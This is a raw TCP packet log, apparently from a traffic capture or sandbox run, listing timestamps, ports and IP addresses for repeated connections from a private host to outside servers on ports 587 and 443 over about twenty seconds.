Sep 19, 2024 12:24:41.760946035 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.932982922 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.933269024 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.936367989 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:41.936409950 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:41.936477900 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:41.936779022 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:41.936796904 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:41.938452005 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.938553095 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:42.544234991 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:42.548438072 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:42.548456907 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:42.551683903 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:42.551688910 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:42.841897964 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:42.842078924 CEST	443	61688	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:42.842350960 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:42.843063116 CEST	61688	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:42.844413042 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:42.849251986 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:42.851536036 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.401596069 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.401722908 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.406749964 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.480572939 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.480737925 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.486704111 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.557578087 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.557754040 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.562680960 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.644473076 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.644618988 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.649539948 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.715934992 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.716147900 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.720988035 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.817184925 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.817424059 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:43.820734024 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:43.820791960 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:43.820856094 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:43.821119070 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:43.821139097 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:43.822607994 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:43.822669983 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:44.461658955 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:44.467019081 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:44.467096090 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:44.474446058 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:44.474461079 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:44.892549038 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:44.892744064 CEST	443	61690	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:44.892859936 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:44.893246889 CEST	61690	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:44.894889116 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:44.899888992 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:44.900379896 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.160415888 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.160558939 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.165465117 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.317660093 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.317774057 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.322627068 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.445620060 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.445759058 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.450640917 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.495868921 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.496124029 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.499377012 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:45.499499083 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:45.499583960 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:45.499851942 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:45.499886990 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:45.501491070 CEST	587	61689	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.501548052 CEST	61689	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.600225925 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.600421906 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.605303049 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.757788897 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:45.758038044 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:45.763197899 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:46.111354113 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:46.113118887 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:46.113213062 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:46.113281012 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:46.113293886 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:46.401911974 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:46.402028084 CEST	443	61692	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:46.402231932 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:46.402728081 CEST	61692	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:46.408423901 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:46.413366079 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:46.415354967 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972232103 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972393990 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972524881 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972558022 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972614050 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972666025 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972788095 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972817898 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972841978 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972866058 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972878933 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972913980 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:47.972927094 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:47.972976923 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.200428963 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.213720083 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.215604067 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.215631962 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.215658903 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.215657949 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.365124941 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.366162062 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.367841959 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.367844105 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.372906923 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.372936010 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.525326014 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.528986931 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.534046888 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.539376974 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.540241003 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:48.543066025 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:48.543122053 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:48.543250084 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:48.544414997 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:48.544435024 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:48.545722008 CEST	587	61691	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:48.546559095 CEST	61691	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:49.173460960 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:49.175586939 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:49.175611973 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:49.175656080 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:49.175667048 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:49.468988895 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:49.469086885 CEST	443	61694	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:49.469141960 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:49.469558954 CEST	61694	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:49.470973015 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:49.475857973 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:49.475924969 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.041551113 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.041910887 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.046775103 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.200952053 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.208484888 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.214143991 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.371114016 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.376621008 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.382227898 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.498954058 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.504439116 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.509265900 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.665708065 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.667659998 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.676461935 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.849482059 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.850290060 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:50.854717970 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:50.854809999 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:50.855298042 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:50.855535984 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:50.855556965 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:50.856851101 CEST	587	61693	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:50.859076023 CEST	61693	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:51.478440046 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:51.480555058 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:51.480591059 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:51.480644941 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:51.480659008 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:51.832693100 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:51.832892895 CEST	443	61696	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:51.832988024 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:51.833451986 CEST	61696	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:51.835105896 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:51.839909077 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:51.839967966 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.164482117 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.172657013 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.179090023 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.331701040 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.336474895 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.342405081 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.392210007 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.396445990 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.405338049 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.516465902 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.521184921 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.524513960 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:52.524548054 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:52.526606083 CEST	587	61695	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.526942015 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:52.526947021 CEST	61695	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.527343035 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:52.527357101 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:52.555414915 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.560436010 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.565670013 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.720289946 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:52.720601082 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:52.725606918 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:53.158241034 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:53.162162066 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:53.162173986 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:53.162281990 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:53.162291050 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:53.449440956 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:53.449798107 CEST	443	61698	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:53.449847937 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:53.450227976 CEST	61698	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:53.451575041 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:53.462651014 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:53.462724924 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.043314934 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.043555975 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.048508883 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.163089037 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.168792009 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.173618078 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.205528021 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.211920977 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.216809034 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.326211929 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.326787949 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.331835032 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.374612093 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.375083923 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.380883932 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.503225088 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.503652096 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:54.506628990 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:54.506669998 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:54.506828070 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:54.507097006 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:54.507113934 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:54.509511948 CEST	587	61697	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:54.509753942 CEST	61697	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:55.119381905 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:55.124430895 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:55.124448061 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:55.128468990 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:55.128473997 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:55.447304964 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:55.447432995 CEST	443	61700	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:55.447484970 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:55.447977066 CEST	61700	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:55.449467897 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:55.454303980 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:55.454368114 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.001616955 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.001774073 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.006980896 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.104123116 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.107376099 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:56.107471943 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:56.107573986 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:56.107815027 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:56.107839108 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:56.109462976 CEST	587	61699	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.109532118 CEST	61699	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.156668901 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.156969070 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.161853075 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.314208031 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.319431067 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:56.324312925 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:56.738215923 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:56.740520000 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:56.740602970 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:56.740873098 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:56.740886927 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:57.101777077 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:57.101963997 CEST	443	61702	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:57.103187084 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:57.103187084 CEST	61702	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:57.107001066 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:57.112065077 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.118716955 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:57.678402901 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.678559065 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:57.683631897 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.833432913 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.833650112 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:57.838598967 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.994421005 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:57.994616032 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:57.999537945 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.503451109 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.504456043 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:58.509705067 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.664649010 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.665327072 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:58.670420885 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.847604036 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.849353075 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:58.851807117 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:58.851898909 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:58.852057934 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:58.852302074 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:58.852339983 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:58.854548931 CEST	587	61701	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:58.855426073 CEST	61701	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:59.469870090 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:59.484000921 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:59.484030008 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:59.484081030 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:59.484090090 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:59.851731062 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:59.851839066 CEST	443	61704	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:59.851891041 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:59.852412939 CEST	61704	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:59.853981018 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:59.875351906 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:59.875427008 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.162880898 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.163022995 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.168020010 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.318497896 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.318825006 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.324210882 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.444258928 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.444766998 CEST	61705	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.449810028 CEST	587	61705	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.492597103 CEST	587	61703	208.91.198.143	192.168.2.5
Sep 19, 2024 12:25:00.495663881 CEST	61703	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:25:00.498008013 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:00.498104095 CEST	443	61706	149.154.167.220	192.168.2.5
Sep 19, 2024 12:25:00.498261929 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:00.498457909 CEST	61706	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:25:00.498481035 CEST	443	61706	149.154.167.220	192.168.2.5
